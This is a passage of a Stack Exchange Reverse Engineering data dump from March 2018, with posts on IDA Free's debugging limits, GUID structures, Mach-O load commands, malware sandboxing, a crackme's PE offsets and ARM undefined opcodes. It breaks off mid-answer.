  <row Id="17693" PostTypeId="1" CreationDate="2018-03-14T06:08:24.733" Score="4" ViewCount="4630" Body="&lt;p&gt;I am unable to find if it does. This PDF linked &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/freefiles/remotedbg.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; says that from version 4.8 IDA Pro supports remote debugging. But I can't seem to find this in the UI for the Freeware Version 5.0. Or is it that IDA Pro and IDA Freeware are different irrespective of version number.&lt;/p&gt;&#xA;" OwnerUserId="15582" LastEditorUserId="60" LastEditDate="2018-07-22T18:00:28.907" LastActivityDate="2019-03-17T20:59:13.243" Title="Does IDA support remote debugging in their Freeware Version?" Tags="|ida|debugging|remote|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17694" PostTypeId="2" ParentId="17693" CreationDate="2018-03-14T06:39:40.553" Score="5" Body="&lt;p&gt;I'll start by saying that there's already IDA Free 7.0 which is much better than version 5.0. However, both the free edition of IDA 7.0 and IDA 5.0 are not supporting &lt;strong&gt;remote&lt;/strong&gt; debugging of any kind.&lt;/p&gt;&#xA;&lt;p&gt;Hex-Rays stated that, and other limitations, in their IDA 5.0 freeware page (which is now replaced with version 7.0). I'm quoting from a &lt;a href=&quot;https://web.archive.org/web/20160108085821/https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;backed-up page&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The freeware version of IDA v5.0 has the following limitations:&lt;/p&gt;&#xA;&lt;p&gt;no commercial use is allowed&lt;/p&gt;&#xA;&lt;p&gt;lacks all features introduced in IDA &amp;gt; v5.0:&#xA;v5.1, v5.2, v5.3, v5.4, v5.5,v5.6, v5.7, v6.0, v6.1, v6.2, v6.3, v6.4, v6.5, v6.6 v6.7 v6.8&lt;/p&gt;&#xA;&lt;p&gt;lacks support for many processors, file formats, &lt;strong&gt;debugging&lt;/strong&gt; etc...&lt;/p&gt;&#xA;&lt;p&gt;comes without technical support&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;em&gt;(emphasizes are mine)&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;A similar description is available on the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/download_freeware.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA 7.0 Freeware page&lt;/a&gt; as well:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The freeware version of IDA v7.0 has the following limitations:&lt;/p&gt;&#xA;&lt;p&gt;no commercial use is allowed&lt;/p&gt;&#xA;&lt;p&gt;lacks all features introduced in IDA &amp;gt; v7.0&lt;/p&gt;&#xA;&lt;p&gt;lacks support for many processors, file formats, &lt;strong&gt;debugging&lt;/strong&gt; etc...&lt;/p&gt;&#xA;&lt;p&gt;comes without technical support&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;As both OP and @blabb mentioned -- apparently, IDA 5.0 &lt;strong&gt;do&lt;/strong&gt; supports local-debugging but is not supports remote debugging.&lt;/p&gt;&#xA;&lt;p&gt;As can be seen in this screenshot from IDA Free 5.0, the &amp;quot;Debug application setup&amp;quot; window doesn't contain the settings for remote debugging:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RPaIU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RPaIU.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In contrary, the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/freefiles/remotedbg.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;screenshot&lt;/a&gt; from the PDF attached by OP is showing these settings:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/S3XKF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/S3XKF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-03-14T07:24:28.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17695" PostTypeId="2" ParentId="17693" CreationDate="2018-03-14T07:10:59.470" Score="2" Body="&lt;p&gt;as far as i know ida free supported  debugging of x86 in the 32 bit version &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i think the free v7 does not even run in 32 bit machine &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kT2Yk.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kT2Yk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-03-14T07:10:59.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17696" PostTypeId="2" ParentId="17685" CreationDate="2018-03-14T08:27:25.420" Score="6" Body="&lt;p&gt;CLSID is a GUID and although a GUID can be represented as a string, it's really a struct that looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;typedef struct _GUID {&#xA;  DWORD Data1;&#xA;  WORD  Data2;&#xA;  WORD  Data3;&#xA;  BYTE  Data4[8];&#xA;} GUID;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Although there is no way to display the GUID as a string in Ida you can convert it to a struct like this:&lt;/p&gt;&#xA;&lt;p&gt;Select the 16 bytes that represent your CLSID, right click and select Structure from the Popup Menu. Then from the Sub menu select &lt;code&gt;_GUID&lt;/code&gt;:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/OhiOr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OhiOr.png&quot; alt=&quot;Structure Menu&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is the result showing the Data1, Data2, Data3 and Data4 members&#xA;&lt;a href=&quot;https://i.stack.imgur.com/0EJAs.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0EJAs.png&quot; alt=&quot;Bytes converted to GUID struct&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to convert it to string you would need to create an idc script that does something like this: &lt;code&gt;sprintf(szGuid, &amp;quot;{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}&amp;quot;, guid.Data1, guid.Data2, guid.Data3, guid.Data4[0], guid.Data4[1], guid.Data4[2], guid.Data4[3], guid.Data4[4], guid.Data4[5], guid.Data4[6], guid.Data4[7]);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="99" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-03-14T08:42:10.533" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17697" PostTypeId="1" CreationDate="2018-03-14T11:39:21.070" Score="2" ViewCount="1095" Body="&lt;p&gt;I want to remove a &lt;code&gt;LOAD_COMMAND&lt;/code&gt; from my iOS app binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried &lt;a href=&quot;http://www.newosxbook.com/tools/jtool.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;jtool&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jtool -rC 3 my_app_binary&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This worked when I was removing a dynamic library.  But it generated an empty binary file and the original binary was not altered when I wanted to remove: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;LC 03: LC_SEGMENT_64          Mem: 0x100007000-0x100007000  __RESTRICT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found the same with &lt;a href=&quot;https://github.com/alexzielenski/optool&quot; rel=&quot;nofollow noreferrer&quot;&gt;optool&lt;/a&gt;.  I could delete a &lt;code&gt;dylib&lt;/code&gt; but not this &lt;code&gt;RESTRICT&lt;/code&gt; load command.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next stop is Hopper...&lt;/p&gt;&#xA;" OwnerUserId="23566" LastEditorUserId="53" LastEditDate="2018-03-14T11:56:37.183" LastActivityDate="2018-03-20T20:13:55.287" Title="Macho - remove a LOAD COMMAND from iOS binary" Tags="|decompilation|hopper|dynamic-linking|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17701" PostTypeId="1" CreationDate="2018-03-15T06:26:06.170" Score="1" ViewCount="122" Body="&lt;p&gt;To analyze malware files we are using virtual machine and virtual box but some of malware detect the environment and will not do its work properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to know how to test malware files with out using virtual environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can i use my host system for testing malware files? If i use host machine for malware testing, how to recover it after infection? Is it possible or not, otherwise give me some idea how can i do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="16096" LastActivityDate="2018-03-15T11:13:35.943" Title="Test malware files in host machine?" Tags="|binary-analysis|malware|dynamic-analysis|virtual-machines|sandbox|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17702" PostTypeId="2" ParentId="17701" CreationDate="2018-03-15T08:42:42.163" Score="3" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I want to know how to test malware files with out using virtual&#xA;  environment.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Check out the answers in the following, similar, question:&lt;br&gt;&#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/17045/analysing-malware-in-a-real-environment-non-virtual-environment&quot;&gt;Analysing malware in a real environment (non-virtual environment)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt;: Check out &lt;a href=&quot;http://www.faronics.com/en-uk/products/deep-freeze&quot; rel=&quot;nofollow noreferrer&quot;&gt;Faronics Depp Freeze&lt;/a&gt; for example.&lt;br&gt;&#xA;I recommend reading the answers as a whole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, read the answers to the following question on Security.SE:&lt;br&gt;&#xA;&lt;a href=&quot;https://security.stackexchange.com/questions/19988/can-i-get-100-protection-from-virus-by-using-deep-freeze&quot;&gt;Can i get 100% protection from virus by using Deep Freeze?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can i use my host system for testing malware files?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is &lt;strong&gt;highly not recommended&lt;/strong&gt;. Unless this is a physical machine dedicated to run malware samples and you have the means to restore the original state of the machine.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;some of malware detect the environment and will not do its work&#xA;  properly.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Read about anti-anti evasion techniques and how to harden your virtual amchine against VM-aware malware samples, there are tons of articles online. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;br&gt;&#xA;&lt;a href=&quot;http://blog.michaelboman.org/2014/01/making-virtualbox-nearly-undetectable.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Making Virtualbox nearly undetectable&lt;/a&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://www.reddit.com/r/UIC/comments/1542ms/hardening_cuckoo_sandbox_against_vm_aware_malware/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hardening Cuckoo Sandbox against VM aware malware&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18698" LastActivityDate="2018-03-15T08:42:42.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17704" PostTypeId="2" ParentId="17701" CreationDate="2018-03-15T11:13:35.943" Score="1" Body="&lt;p&gt;Use KVM. Most of the time malwares will try to detect VMWare and Virtualbox based artifacts.&lt;/p&gt;&#xA;" OwnerUserId="20848" LastActivityDate="2018-03-15T11:13:35.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17705" PostTypeId="1" CreationDate="2018-03-15T15:46:28.690" Score="7" ViewCount="342" Body="&lt;p&gt;There are multiple &lt;a href=&quot;https://github.com/OWASP/owasp-mstg/blob/e398af710e53a0547e749a6284bee99acdfba8e4/Document/0x06c-Reverse-Engineering-and-Tampering.md&quot; rel=&quot;noreferrer&quot;&gt;tutorials&lt;/a&gt; on how to debug applications on jailbroken devices. These usually involves resigning debugserver, scp and running it from ssh with few tweaks to the entitlements and signature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to the do the same thing on non-jailbroken devices ?&lt;/p&gt;&#xA;" OwnerUserId="3469" LastActivityDate="2023-02-15T12:24:00.647" Title="running iOS debugserver on non-jailbroken devices" Tags="|debugging|ios|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17708" PostTypeId="1" CreationDate="2018-03-15T19:43:35.273" Score="5" ViewCount="10079" Body="&lt;p&gt;The problem I'm facing with the latest version of IDA (as of now) which is 7.0 is that it doesn't recognizes plugins, not even adding them in its Edit &gt; Plugins menu tho this was not happening in IDA 6.x versions for me. As an example, my good old friend ScyllaHide is not showing up after I copy all the required files of it to the plugins folder of IDA and I forgot to mark the remaining files in the screenshot but HookLibraryx64.dll and the one under it (x86) and also InjectorCLI programs, NTApiCollection.ini (a must needed) and also ScyllaHide.ini are all present in this directory but it doesn't shows up, I watched a video in YouTube suggesting a solution and that was to edit the plugins.cfg file in the plugins directory and add the plugin file name and hotkey inside the config file manually, I tired that too but it didn't worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ScyllaHide works perfect on x64dbg and OllyDbg, I informed the maintainers of ScyllaHide in Github but they said its not the problem with the plugin. So if any of you had this experience, or can help me I'll be glad. &#xA;And this problem is almost for all plugins, like FindCrypt2 and IDAStealth and x86emu. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MrzJU.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MrzJU.png&quot; alt=&quot;IDA 7.0 Plugins Directory&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23026" LastActivityDate="2022-12-30T16:57:17.260" Title="IDA 7.0 not recognizing plugins (Eg. ScyllaHide, IDAStealth)" Tags="|ida|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17710" PostTypeId="2" ParentId="17708" CreationDate="2018-03-16T05:07:36.827" Score="3" Body="&lt;p&gt;There's a possibility that they might need to be ported to run in IDA 7.0 specifically, as per the following: &lt;a href=&quot;https://www.hex-rays.com/products/ida/7.0/docs/api70_porting_guide.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/7.0/docs/api70_porting_guide.shtml&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="20928" LastActivityDate="2018-03-16T05:07:36.827" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17712" PostTypeId="1" CreationDate="2018-03-16T13:07:40.070" Score="1" ViewCount="195" Body="&lt;p&gt;I am making a crackme, that get's hexadecimal values and converts it to ASCII to get the password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is I use a part of code into the main function to search the opcodes from &lt;strong&gt;.text&lt;/strong&gt; section which could make the corresponding ASCII password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, using that part of code I get the offsets but when I remove that code the offsets change and I am left with garbage text. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I change some code, can it be certain that after compilation the opcodes above it in PE file won't change ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;#include &amp;lt;tchar.h&amp;gt;&#xA;#include &amp;lt;vector&amp;gt;&#xA;#include &amp;lt;iostream&amp;gt;&#xA;#include &amp;lt;iomanip&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;&#xA;#ifdef UNICODE&#xA;#  define tcout wcout&#xA;#  define tcerr wcerr&#xA;#else&#xA;#  define tcout cout&#xA;#  define tcerr cerr&#xA;#endif&#xA;&#xA;const UINT DUMP_SIZE = 96;&#xA;const UINT DEFAULT_DUMP_SIZE = 4096;&#xA;&#xA;using namespace std;&#xA;&#xA;VOID ImageInformation( HMODULE&amp;amp; hModule, PVOID&amp;amp; pVirtualAddress,PVOID&amp;amp; pCodeStart, SIZE_T&amp;amp; dwCodeSize,PVOID&amp;amp; pCodeEnd );&#xA;int hsearch( LPCVOID pcbStartAddress, LPCVOID pDisplayBaseAddress,DWORD dwSize, int toSearch );&#xA;vector&amp;lt;int&amp;gt; calculate_flag(int []);// For checking the user input&#xA;&#xA;int main(int argc, _TCHAR* argv[])&#xA;{&#xA;    cout&amp;lt;&amp;lt;&quot;\t\t &amp;lt;&amp;lt; Welcome to My CrackME &amp;gt;&amp;gt;\n\n&quot;&amp;lt;&amp;lt;endl;&#xA;    cout&amp;lt;&amp;lt;&quot;Enter 10 Numbers, I give you the flag &quot;&amp;lt;&amp;lt;endl;&#xA;    HMODULE hModule = NULL;&#xA;    PVOID   pVirtualAddress = NULL;&#xA;    PVOID   pCodeStart = NULL;&#xA;    PVOID   pCodeEnd = NULL;&#xA;    SIZE_T  dwCodeSize = 0;&#xA;&#xA;    ImageInformation( hModule, pVirtualAddress, pCodeStart,dwCodeSize, pCodeEnd );&#xA;    int input[10];&#xA;    for(int i=0; i&amp;lt;10; i++){&#xA;        cin&amp;gt;&amp;gt;input[i];&#xA;    }&#xA;    vector&amp;lt;int&amp;gt; result = calculate_flag(input);&#xA;    for(int i=0; i&amp;lt;40; i++){&#xA;        printf(&quot;%c&quot;,(((PBYTE)pCodeStart)[ input[i] ]));&#xA;    }&#xA;    //cout&amp;lt;&amp;lt;result&amp;lt;&amp;lt;endl;&#xA;    //&#xA;    cout&amp;lt;&amp;lt;endl;&#xA;    /*int flg[40] = {....flag array here...};&#xA;    vector &amp;lt;int&amp;gt; v;&#xA;    for(int characters=0; characters&amp;lt;40; characters++){&#xA;            int location = hsearch(pCodeStart, pCodeStart, dwCodeSize, flg[characters]);&#xA;            v.push_back(location);&#xA;            printf(&quot;%d &quot;,location);&#xA;    }&#xA;    string res;&#xA;    for(int i=0; i&amp;lt;v.size(); i++){&#xA;        if(v[i] == -1){&#xA;            printf(&quot; \n&quot;);&#xA;        }else{&#xA;            printf(&quot;%c&quot;,(((PBYTE)pCodeStart)[ v[i] ]));&#xA;            res.push_back((char)(((PBYTE)pCodeStart)[ v[i] ]));&#xA;        }&#xA;    }&#xA;    for(int i=0;i&amp;lt;100;i++)&#xA;        printf(&quot; &quot;);&#xA;    printf(&quot;%s\n&quot;,result);&#xA;    cout&amp;lt;&amp;lt;result&amp;lt;&amp;lt;endl;*/&#xA;    return 0;&#xA;}&#xA;&#xA;vector&amp;lt;int&amp;gt; calculate_flag(int input[]){&#xA;....&#xA;Other functions defined&#xA;hsearch : Used to get the offsets&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Problem&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;If I'm removing the hsearch function, why the offset of previous statements change ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get the part of code whose offset won't change, so as I can use that to make this crackme ?&lt;/p&gt;&#xA;" OwnerUserId="23636" LastActivityDate="2018-03-19T21:13:53.603" Title="Static Offset in PE" Tags="|disassembly|windows|decompilation|pe|crackme|" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17713" PostTypeId="2" ParentId="17411" CreationDate="2018-03-16T15:13:42.920" Score="2" Body="&lt;p&gt;In the second picture on the bottom there is an nonpupulated connector, whose pins are labeled RX and TX. Thats at least one of maybe more uart interfaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should additionaly check the traces on the pcb between that connector and the main micro controller. It might be that the nonpopulated pads at R1 need to be shortened to have a connection.&lt;/p&gt;&#xA;" OwnerUserId="23639" LastActivityDate="2018-03-16T15:13:42.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17716" PostTypeId="2" ParentId="17665" CreationDate="2018-03-16T17:26:42.697" Score="1" Body="&lt;p&gt;The (32-bit) ARM architecture has a instruction with opcode &lt;code&gt;UDF&lt;/code&gt; whose encodings are guaranteed to be permanently undefined.&#xA;There are 3 encodings of this instructions one each for Thumb, Thumb-2, and ARM.&#xA;In hex these are -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Thumb   0xDE**       &#xA;Thumb2  0xF7F*A***   &#xA;ARM     0xE7F***F*   &#xA;*'s are ignored by the processor so can be any value.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is also another ARM encoding that the architecture guarantees to be permanently undefined, albeit without giving it an opcode.  This is -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ARM     0x*7F***F*&#xA;*'s are ignored by the processor so can be any value.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Note that the &lt;code&gt;UDF&lt;/code&gt; instruction is a special case of this encoding with the condition bits set to &lt;code&gt;AL&lt;/code&gt; or &lt;code&gt;1110&lt;/code&gt;.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Linux code you quote is using the UDF opcode encodings for Thumb and ARM. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Go code is using the ARM encoding which doesn't have an opcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the &lt;code&gt;*&lt;/code&gt; bits are ignored by the processor and can be picked at the programmer's discretion, I would expect someone to choose their own values rather than spend time trying to find where other people have used the instruction any picking the same values as them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Indeed, the Linux code you quote explicitly explains that the value was chosen to avoid conflicts with other deliberate uses of undefined instructions with Linux's undefined instruction hook mechanism.  So, if the Go authors were aware of the Linux usage here, I'd still expect them to choose different values.&lt;/p&gt;&#xA;" OwnerUserId="4731" LastEditorUserId="4731" LastEditDate="2018-03-16T20:06:05.940" LastActivityDate="2018-03-16T20:06:05.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17719" PostTypeId="1" AcceptedAnswerId="17723" CreationDate="2018-03-17T18:02:06.310" Score="1" ViewCount="125" Body="&lt;p&gt;I'm writing a plugin which is available at all times (&lt;code&gt;PLUGIN_FIX&lt;/code&gt; flag).&#xA;However, I also need to be notified when a database is created or opened, as if I would handle the moment when &lt;code&gt;init()&lt;/code&gt; is called on plugins without the &lt;code&gt;PLUGIN_FIX&lt;/code&gt; flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked into the IDA 7.0 SDK, but I only found &lt;code&gt;idb_event::closebase&lt;/code&gt;, and I need the exact opposite. &lt;code&gt;idb_event::savebase&lt;/code&gt; also doesn't really match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I logged all events in the SDK ever raised by IDA (causing IDA to run slower than my grandma ☺), and only dug out &lt;code&gt;idb_event::kernel_config_loaded&lt;/code&gt; which happens &lt;em&gt;around&lt;/em&gt; the moment I want to catch. However, it also triggers at other times (like when simply clicking the &quot;Open&quot; button), so it's not a match too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something here? Such an event seems quite important to me, so I'm a bit surprised there's nothing &quot;obvious&quot; for it.&lt;/p&gt;&#xA;" OwnerUserId="6957" LastActivityDate="2018-03-18T11:41:42.463" Title="IDA SDK: Event when database created / opened?" Tags="|ida|ida-plugin|idapro-sdk|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17722" PostTypeId="1" CreationDate="2018-03-18T11:38:43.810" Score="1" ViewCount="321" Body="&lt;p&gt;I have 'inherited' a fairly large Ruby on Rails repository that was developed for a web application and am trying to make heads or tails of it.  I am specifically looking at this from the perspective of trying to analyze and understand the code under the assumptions of:&#xA;1) I'm not really a coder  per se, but can follow VERY limited aspects of html/erb/haml,  css/sass,  js/coffeescript/angularjs, ruby, sql upon which I believe the app is based.&#xA;2) I have/had access to the user interface and was able to work with the application for some time, so understand its intent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my questions is/are really more a procedural inquiry. I suspect many people who are trying to learn ROR would benefit from this type of understanding, (sort of a top-down approach to gain perspective).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would one best try to absorb a given ROR application?&#xA;What would you consider to be the first things at which to look and absorb, followed by secondary and so on...&#xA;And more specifically,  hows does one determine which code is associated with which gem? (this particular app has 150-200 gems in the gemfile).&lt;/p&gt;&#xA;" OwnerUserId="23654" LastActivityDate="2018-03-18T11:38:43.810" Title="Ruby on Rails Code Analysis" Tags="|websites|" AnswerCount="0" CommentCount="1" ClosedDate="2018-03-19T12:47:52.850" ContentLicense="CC BY-SA 3.0" />
  <row Id="17723" PostTypeId="2" ParentId="17719" CreationDate="2018-03-18T11:41:42.463" Score="2" Body="&lt;p&gt;After looking around a bit more, I noticed that if I handle the following two processor module (&lt;code&gt;HT_IDP&lt;/code&gt;) events, I can pretty much catch the moment I wanted:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;processor_t::event_t::ev_newfile&lt;/code&gt; when a new database is being created (like from a PE file)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;processor_t::event_t::ev_oldfile&lt;/code&gt; when an existing database has been loaded (from a .idb file)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="6957" LastActivityDate="2018-03-18T11:41:42.463" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17725" PostTypeId="2" ParentId="16777" CreationDate="2018-03-18T14:08:24.187" Score="1" Body="&lt;p&gt;Unicorn only supports concrete values in registers. &#xA;You could cheat your way around this by doing two runs with two sets of magic values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what you really want is a symbolic execution framework like &lt;a href=&quot;http://angr.io&quot; rel=&quot;nofollow noreferrer&quot;&gt;angr&lt;/a&gt;. There registers can be undefined after execution or even contain expression trees like old_ebx*2+1. &lt;/p&gt;&#xA;" OwnerUserId="23656" LastActivityDate="2018-03-18T14:08:24.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17727" PostTypeId="2" ParentId="17397" CreationDate="2018-03-18T22:20:17.857" Score="1" Body="&lt;p&gt;Have you tried using the IDC importing procedure? It's also listed in the manual (&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/444.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idadoc/444.shtml&lt;/a&gt;). Basically:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Export from IDA old to &lt;code&gt;.idc&lt;/code&gt; (this will generate an IDC file)&lt;/li&gt;&#xA;&lt;li&gt;Run new IDA with switch &lt;code&gt;-x&lt;/code&gt; with your old IDB database (From my experience, this just opens IDA and autoanalyzes everything again, I'm not sure if that's the expected behavior)&lt;/li&gt;&#xA;&lt;li&gt;Execute the IDC file with IDA new (This is supposed to apply all manual work you've done in your old IDB database and apply it to the new database).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That said, I haven't had any luck getting this to work, but it's supposed to, so maybe you'll have better luck than me, please report back if you have any :).&lt;/p&gt;&#xA;" OwnerUserId="3302" LastActivityDate="2018-03-18T22:20:17.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17728" PostTypeId="2" ParentId="17671" CreationDate="2018-03-19T08:11:31.530" Score="2" Body="&lt;p&gt;An immediate value is a value that is stored in the instruction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example (in PIC16 because that's what I'm familiar with):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MOVlw 0x01&#xA;MOVwf 0x07h&#xA;MOVlw 0x01&#xA;ADDwf 0x07h,0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What this program does is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Move a literal value of hex 01 into the accumulator&lt;/li&gt;&#xA;&lt;li&gt;Move the accumulator to memory address 0x07h&lt;/li&gt;&#xA;&lt;li&gt;Move a literal value of hex 01 into the accumulator&lt;/li&gt;&#xA;&lt;li&gt;Add the address 0x07h to the accumulator and store in the accumulator.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is a program to show us the difference between a literal (immediate) value and direct addressing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the first instruction, &lt;code&gt;MOVlw 0x01&lt;/code&gt; we move a &lt;strong&gt;literal&lt;/strong&gt; value into 